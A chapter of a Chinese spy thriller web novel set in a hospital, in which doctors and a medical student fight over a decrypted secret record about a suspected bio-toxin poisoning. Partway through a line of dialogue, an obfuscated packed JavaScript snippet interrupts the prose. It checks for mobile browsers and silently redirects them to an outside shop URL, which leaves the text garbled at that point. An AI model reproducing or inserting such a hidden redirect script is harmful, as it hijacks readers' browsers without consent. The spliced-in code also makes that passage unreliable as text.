“这什么啊?”于娜皱眉,拿起那张纸。第二页开始是病历内容,但全部是加密的——不是医学缩写,而是真正的加密文本,字母和数字无规律排列,夹杂着特殊符号。 第三页更奇怪是一张化验单的复印件,但患者信息被涂黑了,只留下几个异常升高的指标:白细胞计数32.7×10?/L,血小板计数18×10?/L以及一个用红笔圈出来的备注:“外周血涂片见原始幼稚细胞>30%,高度疑似急性白血病,但免疫分型不符合任何已知亚型。建议送国家血液病中心进一步鉴定。注意:患者身份特殊,所有资料加密处理。” 于娜越看越不对劲。她翻到最后一页,页脚处有一个小小的印章图案——不是医院的公章,而是一个抽象的三头蛇标志,下面一行小字:“仁爱医院重症组·绝密”。 啥子?绝密文件传真到儿科护士站? “搞错了吧……”于娜喃喃自语,正要拿起电话询问,身后传来关文晶的声音: “小娜,怎么了?” 于娜转身把手里的传真纸递过去:“关医生你看看这个。传真过来的,像是加密的病历但患者信息全空,还盖着军区的章!” 关文晶接过,目光扫过第一页的空白姓名栏和那串编号,眼神瞬间凝固。她没有表现出任何异常,只是平静地说:“可能是传错科室了。我拿去问问网安部,你别跟其他人说。” “好、好的。”于娜点头又忍不住问,“可这上面写着‘绝密’……我们看了会不会……” “我们没看。”关文晶打断她,声音温和但不容置疑,“只是收到了几张乱码的传真纸以为是机器故障,……正准备交还网安部处理。明白吗?” 于娜懂了,用力点头:“明白!” 关文晶拿着那几页纸回到自己的办公室锁上门。她没有立刻坐下,而是先走到窗边,拉上百叶窗,然后打开办公桌最底层的抽屉——里面不是医疗用品而是一套便携式解密设备。 她连接设备,将第一页加密文本扫描进去。设备屏幕亮起,开始自动破译。这套设备是家里给她的“礼物”,据说是从军方退役的技术改造的,能破解大多数常规加密。 进度条缓慢移动:5%……12%……28%…… 关文晶的手指在桌面上轻轻敲击,脑子里快速分析。特勤医疗部的加密病历错传到儿科——这种事发生的概率不到万分之一。要么是系统错误,要么是人为失误,要么……是故意的。 如果是故意的,目的是什么?测试她的反应?引诱她破解?还是想通过她的手,让这份信息“意外”泄露? 设备“嘀”一声,破译完成。 屏幕显示解密后的文本: 【患者名字:[权限不足] 真实姓名:[权限不足] 年龄:48 隶属单位:瑆洲仁爱医院·重症组 职务:[权限不足] 病史:三个月前开始出现乏力、低热、皮下瘀斑。在外院诊断为‘再生障碍性贫血’,治疗无效。两周前入院,血象进行性恶化,骨髓穿刺提示急性白血病但免疫表型异常,对常规化疗耐药。 特殊备注:患者在过去一年内接触过多个高级别加密会议及文件。鉴于其病情进展迅速且治疗反应差,不排除外源性因素(如辐射、化学毒物、生物制剂)导致造血系统恶化的可能性。建议启动内部调查。 保密等级:绝密·仁爱院方高层负负责人查阅】 关文晶盯着屏幕,后背一阵发凉。 某个身份不明人士?急性白血病?外源性因素? 这三个信息组合在一起,指向一个可怕的可能性:这不是普通的疾病,而可能是一起有预谋的毒杀。或者,用更专业的说法:生物暗杀。 她继续往下翻。解密后的化验单显示,患者的血液里检测到一种未知的蛋白标记物,分子量约45kDa,与已知的白血病标记物都不匹配。备注栏里有一行手写的小字,笔迹潦草: “该标记物在瑆洲地区从未报告过。已送至生物战剂鉴定中心分析,结果待回。高度怀疑为人工合成的造血系统靶向毒素。” 生物战剂。 关文晶感觉喉咙发干。她关掉设备,拔下存储卡,销毁破解记录。然后她将那几张传真纸重新叠好放进一个普通的病历夹里……她拿起备份机刚发出一条短信,这时办公室门被敲响了。 “关医生?”是于娜的声音,“政府【卫生与公众服务部】来电话说那份传真发错了,要立刻收回。他们的人马上过来拿。” 这么快? 关文晶眼神一凛。从传真发出到现在不到十五分钟,【卫生与公众服务部】就知道了?而且直接派人来“收回”,而不是让她送过去? 这不像失误,更像陷阱。 “知道了。”她提高声音,“我整理一下,马上送过去。” “他们说不用麻烦您,直接派人来取……” “我已经在门口了。”关文晶打断她,快速将病历夹塞进白大褂内侧口袋然后开门,“我去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937035|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一趟【卫生与公众服务部】,有什么事打我手机。” 于娜看着她匆匆离开的背影,有些疑惑但没多想。 关文晶没有乘电梯,而是走楼梯。她的脚步很快,但不是慌乱。脑子里在快速思考:如果这是陷阱,那么行政部来“收回”的人可能不是真正的【卫生与公众服务部】人员。如果她不交出文件,对方可能会采取强制措施。 但如果交出,她就失去了唯一的证据。 她需要备份。 走到三楼时,她拐进女卫生间,锁上门从白大褂内侧口袋拿出病历夹,用手机把每一页都拍下来,包括那个三头蛇印章。拍摄时她特意调整角度,让医院的标识和日期显示在画面里,作为“证据链”的一部分。 拍完后,她将照片加密上传到一个云端存储账户——那个账户的服务器在国外,多重加密,连家里人都不知道密码。 刚上传完毕,卫生间的门被敲响了。 “关医生?您在吗?”是一个陌生的男声,语气礼貌但不容拒绝,“【卫生与公众服务部】派我来取一份传真文件。” 来得真快。 关文晶深吸一口气,将病历夹拿在手里,打开门。 门外站着两个男人。都穿着【卫生与公众服务部】的制服,胸牌别得端正,但关文晶注意到一个细节:他们的皮鞋是军靴的款式,鞋底很厚,鞋头有加固——不是普通行政人员的穿着。而且两个人的站姿笔直,肩膀微微后张,是典型的军人姿态。 “关医生,不好意思打扰。”为首的男人约莫三十五岁,方脸,寸头,笑容标准,“我们部门传真发错了科室,把一份加密文件传到了儿科。按照规定我们需要立刻收回并销毁。” “加密文件?”关文晶故作疑惑,“我收到的只是几张乱码的纸,还以为是机器故障。正准备拿去信息科问问。” “就是那些。”男人点头,伸出手,“请交给我吧。这是程序要求,希望您理解。” 关文晶没有立刻递过去:“我能看看你们的证件吗?毕竟文件上写着‘绝密’,我需要确认一下。” 两个男人对视一眼。为首的那个从口袋里掏出工作证——确实是【卫生与公众服务部】的,照片、名字、部门都对得上。但关文晶注意到,证件边缘有细微的磨损,像是经常被取出又放回。 可真正的政府人员,工作证通常放在卡套里挂在胸前,不会这么频繁地掏进掏出。 “可以了吗?”男人问。 关文晶将病历夹递过去:“在这里。不过我建议你们检查一下传真机,别再发错了。儿科很忙,没时间处理这些。” “一定,一定。”男人接过病历夹,快速翻了一下,确认页码完整,“谢谢关医生配合。这件事还请保密,不要对任何人提起。” “明白。”关文晶点头。 两个男人转身离开,脚步很快,消失在楼梯间。 关文晶站在原地,等了几秒,然后快步走回儿科。她没有回办公室,而是去了护士站隔壁的医生休息室——那里有一扇开着的窗户。 她站在窗边,看着那两个政府人员走出主楼,直接走向停车场…… 到底是不是【卫生与公众服务部】的人,存疑! 她的判断没错。手机震动,是那个备用机。加密信息:【来者身份不明……建议你最近低调行事,不要表现出任何异常。——调查员C】 关文晶回复: 【我备份了。文件内容涉及疑似被生物毒素攻击时间。我需要知道仁爱医院最近接诊了多少类似病例。】 几秒后,回复: 【你这是在玩火。这种局外事和政保局特工何干?知道得越少越安全。更何况如果传到苏局长那里……他的脾气你清楚。】 【安全?】关文晶打字的手指很用力,【如果涉及公共安全事件,那这个国家还有哪里安全?医院呢?医学院呢?我们呢?】 那边沉默了更长的时间。 【等我消息。不要轻举妄动。——调查员C】 关文晶收起手机,看着窗外。 庭院里,几个患者在家属的搀扶下散步,阳光很好,一切看起来那么平静。 但她知道,这份平静之下,正在酝酿一场风暴。 --- 同一时间,医学院预科班教室。 桑矾逸正在辅导功课。徐燕风手机在口袋里震动了两下——不是普通震动,是特定的节奏:三短,一长,两短。 他和钟妍妍约定的紧急信号。“桑副官,我肚子不舒服,想去趟卫生间。” “快去快回。” 徐燕风离开教室,走到楼梯间,才拿出手机。一条加密信息: 【紧急任务。儿科有一份加密文件被错误接收,现已‘回收’,但怀疑接收方已备份。文件涉及高级别机密,必须确保不外泄。你的任务:接近关文晶,确认她是否备份,如有,获取备份并销毁。注意:不能暴露任务目的,不能使用强制手段。时间:今天内完成。——尖吻蝮】 徐燕风盯着屏幕,心跳加速。 接近关文晶?获取备份?销毁? 这已经不是观察任务了,这是真正的间谍行动。而且目标是关文晶——那个冷静、敏锐、对他充满敌意的女医生,女杀手! 他回复: 【如何确认她是否备份?】 【观察。如果她备份了,今天之内一定会有所行动——尝试上报、联系特定人员、或者转移备份。你要做的就是盯住她,记录她所有的异常行为。如果发现备份载体(U盘、手机、云端账户),想办法获取。我会提供技术支持。——尖吻蝮】 徐燕风靠在墙上,深吸一口气。 他想起钟妍妍教过的话:“任务就是任务,不要掺杂个人感情。感情用事会害死你,也会害死你在意的人。” 关文晶不是他在意的人,甚至可以说是敌人。但这不代表他愿意对她做这种事。 手机又震动了: 【这是对你忠诚度和能力的最终测试。通过,你将正式成为‘可用之人’。不通过,或者背叛,后果自负。选择权在你。——尖吻蝮】 没有选择。 徐燕风明白,从他接受第一堂课开始,就没有回头路了。 他回复: 【收到。任务开始。】 发送后,他删除信息,调整表情走回办公室。桑矾逸捧着书本继续滔滔不绝,一切如常。 但徐燕风知道,从这一刻起,他的生活将彻底改变。 他不再只是一个医学生。 他是一个执行任务的“小蛇”。 目标是另一条“大蛇”。 这场蛇与蛇的较量,即将开始。 而他,必须赢。 为了生存。 也为了一些他还说不清楚的东西。 他抬起头看向窗外。医院大楼在阳光下泛着白光。关文晶就在里面。十楼。 等着他。 18. 儿科深夜对峙 深夜十一点四十七分,韦奚珃刚结束一场预约问诊。他脱下白大褂,换上一身浅色西装,正准备下班,口袋里的加密通讯器突然震动起来,传来军区的密电:“最近发现政保局的人有异常动静……似乎在暗中调查军区事务,而且和圣保罗医院这边有关联。你多留意些。” “是谁在查?”韦奚珃瞬间警觉起来,眼神沉了沉,透出几分不易察觉的锐利。 通讯器那头传来回应:“关文晶。” “她想查什么?”韦奚珃追问,手指无意识地摩挲着西装袖口的纽扣。 “她最近和二组的尖吻蝮小姐闹得很不愉快……还一直想查‘尖吻蝮’的底细,但权限不够,没查到什么实质性的东西。” “我知道了。”韦奚珃应道,“军区那边也得加强权限管理。关文晶这边……我会留意的。” 说完,他挂断通讯,指尖在通讯器上快速操作,清除了通话记录。办公室里只剩下他一人,窗外的月光透过百叶窗缝隙照进来,在地板上投下几道细长的光影。韦奚珃心里寻思关文晶突然把注意力转向军区,还牵扯到“尖吻蝮”,这背后恐怕不简单……他理了理袖口转身拿起公文包,步履沉稳地走出办公室,走廊里的灯光将他的影子拉得很长。 与此同时,儿科住院区安静得只剩下监护仪的“滴滴”声和偶尔响起的咳嗽。夜班护士刚完成一轮查房,此刻都聚在护士站轻声交谈,整理记录。 关文晶的办公室在走廊尽头,门紧闭着但门缝下透出灯光——她还没走。 徐燕风站在楼梯间的阴影里,看着那条走廊。他已经观察了两个小时:十点,关文晶查完最后一轮房;十点半,她回办公室,之后就再没出来。护士站的记录显示,她今晚值二线班,理论上可以休息,但看样子她打算通宵。 为什么? 因为那份加密病历吗? 徐燕风摸了摸口袋里的设备——一个巴掌大的信号探测器,钟妍妍给他的,能检测附近是否有电子设备在传输加密数据。如果关文晶真的备份了文件并且打算今晚转移或上报,很可能会用到手机或电脑。 探测器屏幕显示:办公室方向有持续的无线信号传输,频率2.4GHz,加密协议,信号强度中等。不是医院的Wi-Fi,也不是普通的手机网络。 有人在里面传输数据。 徐燕风深吸一口气,从阴影里走出来。他没有穿白大褂而是换了一身深色的运动装,戴着棒球帽,帽檐压得很低。脚步很轻,几乎听不到声音——这是钟妍妍教过的,控制步频和落地角度,让脚步声融入环境噪音。 走到办公室门口,他停顿了两秒,然后抬手敲门。 “请进。”关文晶的声音从里面传来,平静得听不出情绪。 徐燕风推门进去。 办公室不大,一张办公桌,两个文件柜,一台电脑,还有一张检查床。关文晶坐在办公桌后,电脑屏幕亮着,但她没有在看屏幕,而是看着门口——像在等他。 “关医生。”徐燕风摘下帽子,露出一张故作轻松的脸,“这么晚还没走?” 关文晶的目光落在他脸上,又扫过他全身,最后回到他眼睛:“你不也没走?尹教官管理很严的不是?” “他有政策我有对策。”徐燕风走进来,顺手带上门,但没有关严,留了一条缝——这是钟妍妍教的:永远给自己留退路,“路过儿科看到您办公室灯还亮着,就过来看看。需要帮忙吗?” “帮忙?”关文晶身体后仰,靠在椅背上双手交叉放在桌上,“你能帮什么忙?给患儿扎针?写病程记录?还是……帮我处理一些‘特殊文件’?” 最后几个字她说得很慢,眼神锐利得像手术刀。 徐燕风心里一紧,但脸上笑容不变:“关医生真会开玩笑。我就是个高中没毕业的,并非正式预科班学生,能帮上什么忙?不过您要是累了,我可以帮您泡杯咖啡。” “不用。”关文晶说,“我喝茶。而且,我不喜欢别人碰我的东西。” 她的目光落在办公桌一角——那里放着一个白色的马克杯,杯子里还有半杯茶,茶叶已经沉底。杯子旁边放着一个普通的黑色U盘。 徐燕风的目光在那U盘上停留了零点几秒随即移开。但关文晶捕捉到了这个瞬间。 “你对我的U盘感兴趣?”她问。 “没有。”徐燕风否认得太快,反而显得可疑。关文晶笑了但那笑意没有到达眼底:“你知道我最擅长什么吗?” “儿科?” “不,是观察。”关文晶站起身,绕过办公桌,走到徐燕风面前。两人距离不到一米,徐燕风能闻到她身上淡淡的消毒水味和茶香,“我观察过无数个患儿——他们不会说话或者说不清楚,所以我必须通过他们的眼神、动作、呼吸、哭声来判断病情。时间长了,就成了一种本能。” 她盯着徐燕风的眼睛:“你现在很紧张。心跳加速,呼吸频率比正常人快30%,瞳孔轻微放大。你在防备什么?还是在隐瞒什么?” 徐燕风强迫自己保持镇定:“关医生,我只是路过……” “路过?”关文晶打断他,“现在是深夜十一点五十分,一个高中生,‘路过’儿科主任医师的办公室,还‘顺便’敲门进来——你觉得这个解释,我会信吗?” 徐燕风没说话。他知道自己已经被看穿了。 “让我猜猜。”关文晶走回办公桌旁,拿起那个黑色U盘,在手里把玩,“是钟妍妍让你来的吧?她发现文件被我备份了,所以派你来‘回收’。任务是什么?偷走U盘?删除数据?还是……让我‘意外’失忆?” 她的声音很平静,但每个字都像冰锥,扎进徐燕风的心里。 “我不明白您在说什么。”他坚持最后的伪装。 “不明白?”关文晶忽然把U盘扔给他,“那就看看。”徐燕风下意识接住,U盘还带着她的体温。他握在手里,犹豫着要不要插进电脑——如果是陷阱呢?如果U盘里有病毒或追踪程序呢? “不敢?”关文晶挑眉,“怕我陷害你?放心,里面就是些普通病历。你大可以检查。” 徐燕风看着手里的U盘又看看关文晶。她的表情坦荡得反常,反而让他更加警惕。 “关医生,”他终于放下伪装,“您到底想怎么样?” “我想知道钟妍妍给了你什么好处。”关文晶重新坐下姿态放松但眼神依然锐利,“钱?前途?还是……帮她做事的‘成就感’?” “她只是教我一些东西。” “什么东西?怎么撒谎?怎么潜入?怎么偷东西?”关文晶冷笑,“徐燕风,你是个聪明人,应该看得出来钟妍妍不是普通的妇科医生。她在利用你,培养你成为她的工具。等有一天你没用了,或者知道得太多了,她会怎么处理你?你想过吗?”徐燕风握紧U盘,金属外壳硌得手心发疼——这小子虽被关文晶诈了但反应极快,“我最大底牌是尹教官的学生。她能把我怎么样?嗯?” 关文晶愣住。 “不过话说回来,关医生,”他抬起头,直视她,反将一军:“您不也在利用我吗?” 关文晶愣了一下。噎住。无言以对。 “您刚才故意让我看到U盘,故意说那些话不就是在测试我的反应吗?”徐燕风的声音依然很稳带着一种超越年龄的冷静,“您在观察我会不会真的检查U盘会不会联系钟妍妍,会不会……对您构成威胁。这场对话,从我开始就是您设的局。” 办公室安静了几秒。 然后关文晶笑了。这次是真的笑,带着几分欣赏。 “你比我想象的聪明。”她说,“没错,我在测试你。但我的目的和钟妍妍不同——我不是要利用你,而是要救你。” “救我?” “离开钟妍妍。”关文晶身体前倾,压低声音,“她现在给你的任务还只是偷文件、盯梢。但下一步呢?杀人?放火?还是参与那些你根本不知道后果的阴谋?徐燕风,你还年轻还有未来。别把自己卖给魔鬼。” 徐燕风看着她,忽然问:“那您呢?关医生,您又是谁?普通的儿科医生?还是……和钟妍妍一样的‘特殊人物’?” 关文晶的眼神闪烁了一下。 “我查过您。”徐燕风继续说,趁着她那一瞬间的动摇,“关文晶,关家二小姐,三代医学世家,背景显赫。但一个儿科医生,为什么会精通反侦察?为什么会有军方级别的加密通讯设备?为什么会对一份错传的加密病历如此紧张?” 他向前走了一步:“关医生,我知道这个医院里每个人都在演戏。您,我,钟妍妍,尹教官,桑副官……甚至那些患者和家属。大家都在演各自的角色,藏在各自的伪装下。所以别用‘救你’这种话来哄我。我们都不是小孩子了。” 关文晶沉默了。她看着徐燕风,第一次真正用平等的目光审视这个年轻人。不是看一个冲动的医学生,不是看一个被利用的棋子,而是看一个潜在的对手——或者,潜在的盟友。 “你说得对。”她最终承认,“我也在演戏。但我的戏,和钟妍妍的戏,目的不同。她在复仇,在执行某种私刑。而我……我在阻止她。” “复仇?” “阮氏香,那个越南籍失足女,不是死于疾病。”关文晶说,“是钟妍妍杀了她。用药物,用医疗手段,完美地掩盖成自然死亡。因为她恨那样的女人——她的父亲就是跟一个失足女私奔的,毁了她整个家庭。” 徐燕风感觉后背一阵发凉。他想起钟妍妍那双冷静的眼睛,想起她教自己情绪控制、压力测试、反审讯——那些技巧,如果用在杀人上…… “您有证据吗?”他问。 “没有。”关文晶摇头,“被她销毁了。但我知道是她。现在,她又盯上了新的目标——可能是那份加密病历里的人,也可能是其他什么人。而你,徐燕风,正在成为她的帮凶。” 她把电脑屏幕转向徐燕风。屏幕上是一张照片— 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她站起身走到窗边背对着徐燕风:“我给你一个选择。现在离开,把今晚的事忘掉,U盘你拿走——里面是空的,只是个诱饵。然后远离钟妍妍,好好当你的学生。或者……” 她转过身,眼神复杂:“或者留下来。帮我。” “帮您?” “做我的眼睛。”关文晶说,“继续跟钟妍妍学习,但把她的计划、她的任务、她的目标告诉我。我需要知道她在做什么,才能阻止她。” 徐燕风愣住了。这是要他当双面间谍? “这太危险。如果钟妍妍发现……” “你不是有尹教官罩着吗。”关文晶走回他面前,“我只要你帮我拿到证据——证明钟妍妍在滥用医疗手段杀人无辜者。……这是严重违反军纪的。” 徐燕风低头看着手里的U盘。金属外壳在灯光下反着冷光。 他想起钟妍妍教他的第一课:情绪管理。当时她说过,“愤怒是毒,冲动是毒,失控是毒——而毒蛇最该学会的,不是如何咬人,而是何时收住毒牙。” 但现在,钟妍妍自己就是最毒的蛇。 而他,正在学习如何成为一条蛇。 “我需要时间考虑。”他最终说。 “可以。”关文晶点头,“但时间不多。钟妍妍不会等太久。下次任务可能就是关键。” 她走到门口,拉开那条缝,看了看走廊:“护士在交接班,现在没人。你从楼梯间走,监控我会处理。” 徐燕风把U盘放回桌上,戴上帽子,走到门口。在跨出去之前,他回头问:“您为什么相信我?万一我把今晚的事告诉钟妍妍呢?” 关文晶看着他,眼神里有一种他看不懂的东西。“因为我在你眼里看到了犹豫。真正的恶人不会有犹豫。你还有良知,徐燕风。别让它死了。” 徐燕风没有再说话,转身消失在走廊的阴影里。 关文晶关上门,靠在门板上,长长地吐出一口气。刚才那场对峙,她看似掌握主动,但实际上也在冒险。如果徐燕风真的完全倒向钟妍妍,那她今晚就暴露了。 但值得。 她走到电脑前,调出监控画面。楼梯间的摄像头拍到徐燕风快步离开的背影,没有停留,没有回头。 她删除了那段监控记录。 然后她打开加密通讯,给调查员C发信息: 【已接触目标。初步建立信任。但需要更多筹码。……确认钟妍妍下一个可能的目标。——锯鳞蝰】 发送后,她关掉电脑,坐在黑暗里。 窗外,城市灯火阑珊。 这座医院,这个蛇窝,又多了两个各怀心事的人。 而游戏的规则,正在悄然改变。 关文晶闭上眼睛,脑海里浮现出徐燕风最后那个眼神——挣扎、犹豫、但还有一丝未灭的光。 她希望自己没有看错。 希望那条正在蜕变的眼镜蛇,最终会选择走向光明。 而不是,沉入更深的黑暗。 清晨六点,顶楼会议室的门被粗暴地推开,撞在墙上发出沉闷的声响。 钟妍妍站在门口,没有穿白大褂,而是一身黑色的运动装,头发扎成利落的马尾,脸上没有任何妆容,素净得近乎严厉。她手里拿着一个平板电脑,屏幕亮着,上面显示着一张地图和几条移动的轨迹线。 徐燕风坐在房间中央那把金属椅上——这是反审讯训练时的布置,椅子依然被焊死在地面,对面的两把办公椅空着。他看起来一夜未睡,眼圈发青,但眼神清醒,甚至带着某种决绝。 “解释。”钟妍妍走进来,门在身后关上。她没有坐下而是走到徐燕风面前,居高临下地看着他,手里的平板几乎要戳到他脸上,“昨晚十一点四十七分到零点二十三分,你在儿科做什么说了什么?” 徐燕风抬起头,迎上她的目光:“路过。” 19. 钟妍妍的质问 “路过?”钟妍妍冷笑,手指在平板上划了一下调出一段监控截图——虽然模糊但能认出是徐燕风站在关文晶办公室门外的画面,“路过需要在她门口站两分钟?路过需要敲门进去?路过需要逗留三十六分钟?” 她把平板扔在旁边的办公椅上,双手抱胸:“徐燕风,我教过你观察、分析、判断。现在轮到我来分析你:你昨晚的行为,要么是擅自行动,要么是被策反。选一个。” 房间里安静得能听到空调出风口的嗡鸣。晨光从窗外透进来,在两人之间切出一道明暗交界线。 “我选择了第三个选项。”徐燕风说,声音平静得不像被质问的人,“我去验证一些事。” “验证什么?” “验证您教我的这些东西,到底是为了什么。”徐燕风身体前倾,手肘撑在膝盖上,这个姿势让他看起来更沉稳也更有攻击性,“情绪管理、抗压训练、反审讯、行为分析——这些都不是医学生该学的。您到底在培养我成为什么?一个更好的医生?还是一个……更专业的间谍?” 钟妍妍的眼神冷了下来:“谁告诉你的?关文晶?” “不需要谁告诉。”徐燕风摇头,“我自己能看出来。从第一堂课开始,您就在把我往某个方向塑造。那些模拟场景——急救、审讯、观察——都不是随机的。您在测试我的反应,评估我的潜力,筛选我是否适合……某些任务。” 他停顿了一下,直视钟妍妍的眼睛:“昨晚我去找关文晶,是因为我想知道,在这个医院里,到底有多少种‘医生’。她是其中一种,您是另一种。我想看看,如果我站到她的角度会看到什么。” “你看到了什么?”钟妍妍的声音很轻,但带着危险的意味。 “我看到一个被三级加密的病历,一个可能被毒杀的政府机要人员,一个在调查这件事的儿科医生。”徐燕风说,“还有,一个在训练我如何潜入、如何获取信息、如何不留痕迹的妇科医生。” 他站起身——椅子限制了他的移动,但站起来的姿态本身就带着反抗的意味:“钟医生或者我应该叫您……教官?您到底是谁?在为谁工作?培养我又是为了什么?” 钟妍妍看着他,久久没有说话。晨光在她脸上移动,让她的表情在明暗之间变幻,像一张不断切换的面具。 然后她笑了。不是平时那种温和的笑,也不是刚才那种冷笑,而是一种疲惫的、近乎自嘲的笑。 “你比我想象的进步更快。”她走到窗边,背对着徐燕风,“没错,我是在培养你。但不是为了我自己,也不是为了某个具体的人或组织。” 她转过身,眼神复杂:“徐燕风,你了解瑆洲吗?这个东南亚的‘宝石’,风景秀丽,气候宜人,旅游业发达,医疗水平在区域内领先——这是宣传册上的话。但现实呢?” 她眉头微皱,眼神中透露出一丝忧虑,靠在桌沿上继续说道:“现实是,瑆洲和爪哇日益交恶,你天天看新闻应该懂得吧?如今国际局势本就动荡,一旦瑆洲和爪哇爆发战争,我们国内甚至周边国家都会受到波及,经济、民生都会遭受重创。” 徐燕风没有说话,但眼神里的震惊出卖了他。“你以为那些昂贵的进口设备是怎么来的?”钟妍妍继续,声音平静得像在念病例报告,“你以为那些突然出现又突然消失的‘特殊患者’是谁?你以为为什么一个妇科医生的档案会被四级加密?” 她走到徐燕风面前,两人的距离不到半米:“我培养你,是因为这个医院——这个国度——需要后备力量。不是简单的医生,不是简单演戏的演员,不是简单那些为了完成任务什么都肯做的‘特工’。而是有能力有底线、知道自己在做什么也知道该怎么做的人。” “您认为我是那样的人?”徐燕风问。 “我认为你有潜力。”钟妍妍说,“你有正义感——虽然被愤怒和冲动掩盖了。你有观察力——虽然还需要训练。你有学习能力——这一个月已经证明了。最重要的是,你还没有被这个系统完全腐蚀。” 她顿了顿:“但昨晚的行为,让我怀疑我的判断。擅自行动,接触目标人物,暴露自己——这些都是致命的错误。如果不是我提前屏蔽了部分监控,关文晶现在已经有足够的证据指控你入侵。” 徐燕风愣了一下:“您屏蔽了监控?” “当然。”钟妍妍回到平板电脑前,调出另一段画面——这是儿科走廊的监控,但时间戳被修改过,徐燕风出现在画面里的时间只有三秒然后就被一段“信号干扰”的黑屏替代,“你以为我让你执行任务,会不留后手?每一分钟,你的位置、你的行动、你的生理指标都在我的监控下。” 她指着平板上的数据曲线:“昨晚十一点五十分,你的心率从72飙升到108,持续了八分钟。那是你和关文晶对峙的时间。之后缓慢回落,但直到凌晨一点才回到基线水平。这说明什么?说明你在紧张,在挣扎,在被她说服。” 徐燕风感觉后背发冷。他一直以为自己隐藏得很好,但实际上,从头到尾都在钟妍妍的眼皮底下。 “她跟你说了什么?”钟妍妍问,语气不再是质问而是真正的询问,“我杀了阮氏香?滥杀无辜?培养你只是为了利用你?” 徐燕风犹豫了一下,还是点头。 钟妍妍没有否认。她走回窗边,看着窗外逐渐苏醒的城市,声音飘忽得像从很远的地方传来: “阮氏香是我杀的。但她并不无辜。她这种人的存在,根本就是社会毒瘤!” “所以您就……替天行道?”徐燕风的声音有些干涩。 “我确实有私心——因为她让我想起那个女人,那个毁了我家庭的女人。” “你……” 她看着徐燕风:“现在你知道了。我确实在杀人,用医学手段。我确实在训练你,就当是一场预习课。我确实不干净,手上沾着血。你还愿意学吗?还是像关文晶希望的那样,当一个‘干净’的医生,对眼皮底下的罪恶视而不见?”“话说回来,她真的干净吗?杨梦路不是她杀的吗?……她又是什么好东西!” 徐燕风坐在椅子上,感觉脑子像被重锤砸过。钟妍妍的坦白太过直接,太过残酷,反而让他不知道如何反应。 他想象过很多种可能:钟妍妍是军方特工,是情报人员,是某个秘密组织的成员。但他没想到,她会如此直白地承认自己在进行法外处决。 “那个陈婉清怎么回事。” “她。”钟妍妍走回平板电脑前,调出那份加密病历的部分内容,“她确实生病了,也确实可能是被毒害的。但下毒的人是她的上司a某,政府办公厅主任,因为她发现了他贪污受贿的证据。” 徐燕风瞳孔收缩:“那您为什么关注她?” “因为军方高层要求我们保护她。”钟妍妍说,“她的家人,或者她的盟友,要求我们确保她活下来并拿到a某贪污的证据。但她的治疗被动了手脚。我需要拿到真实的病历和治疗记录。” 她看向徐燕风:“这就是你的下一个任务——如果你还愿意继续的话。帮我获取陈婉清的完整病历和治疗日志。不杀人,不伤人,只拿证据。” 徐燕风沉默了。他看着钟妍妍,看着这个教了他一个月、刚刚坦白自己是杀手、现在又给他一个新任务的女人。 他突然想起关文晶的话:“……她在执行某种私刑。” 但钟妍妍刚才的坦白,似乎推翻了这种说法。或者说,让事情变得更复杂。 “我凭什么相信您?”他最终问,“凭什么相信陈婉清真的是受害者?万一您只是在编故事,让我去偷一份普通的病历呢?” “你不该相信我。”钟妍妍坦然地说,“你应该相信证据。我会给你陈婉清案件的部分资料——不是全部,但足够你判断。你也可以自己去查,用我教你的方法。如果你查完之后还认为我在骗你,你可以退出。我保证不会追究也不会伤害你。” “保证?”徐燕风苦笑,“一个杀手的保证?” “一个教官的保证。”钟妍妍纠正,“我培养你不是为了杀你。如果你退出,最多就是失去一个潜在的帮手。但如果你背叛……” 她没有说下去,但眼神里的寒意说明了一切。 徐燕风靠在椅背上,闭上眼睛。脑子里有两股力量在拉扯:一边是关文晶的警告和那丝尚未熄灭的良知;另一边是钟妍妍的坦白和那个充满诱惑的“任务”。 还有他自己内心深处的某种东西——那种渴望挑战、渴望证明自己、渴望摆脱平庸的冲动。 “给我资料。”他睁开眼睛,说,“我先看。再决定。” 钟妍妍点点头,从随身包里拿出一个加密U盘,放在办公椅上:“这里面是陈婉清案件的公开信息和部分内部调查记录。密码是你第一次情绪管理课的心率峰值数字。” 徐燕风愣了一下,才想起那个数字:112。 他拿起U盘,金属外壳冰凉。 “看完之后,”钟妍妍说,“如果你想继续,下周同一时间来这里。如果不想,把U盘销毁,我们不再见面。就当这一个月什么都没发生过。” 她走到门口,手放在门把上又停住:“但徐燕风,有句话我要告诉你——在这个国度没有真正的‘干净’。关文晶以为她在维护正义实际上她也是某个更大棋局里的棋子。她背后的关家,还有政保局,也不是那么清白。选择站在哪一边,不是选择善恶,而是选择你认为值得效忠的……恶。” 门打开,又关上。 徐燕风独自坐在金属椅上,手里握着那个加密U盘。 晨光完全照进房间,驱散了阴影,但照亮的东西,反而更 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徐燕风盯着那张纸条看了五秒钟,然后撕碎,扔进旁边的垃圾桶。碎片混在一堆废纸里很快就无法辨认。 他走出图书馆,傍晚的风带着湿气,天空阴沉得像要下雨。院区里,医护人员三三两两地走向餐厅或停车场,谈笑声、脚步声、远处球场的哨声——一切都那么正常,那么平凡。 但他知道,从看到那张纸条开始,他就已经踏入了另一个世界。 一个没有回头路的世界。 他回到宿舍,两个室友都不在——一个去打球,一个不知去哪里。他锁上门,从衣柜最底层翻出一件黑色的连帽卫衣和一条深灰色运动裤。换上后,他在镜子前站了一会儿。 镜子里的年轻人看起来和普通医学生没什么两样,只是眼神更深了一些,下巴的线条更硬了一些。这大半个月,他瘦了四斤,脸上的婴儿肥褪去,显露出成年男性的轮廓。 七点四十分他离开宿舍。没有带书包,只揣了一支笔——普通的圆珠笔,但笔芯被钟妍妍换过,现在是空的,里面藏着一个微型存储卡。 七点五十五分,他走到实验楼B栋。这是一栋老建筑,外墙爬满了爬山虎,窗户很多都破了,用木板钉着。医学院的新实验楼建好后这里就很少用了,只有解剖课偶尔会来——旧尸库还在这里。 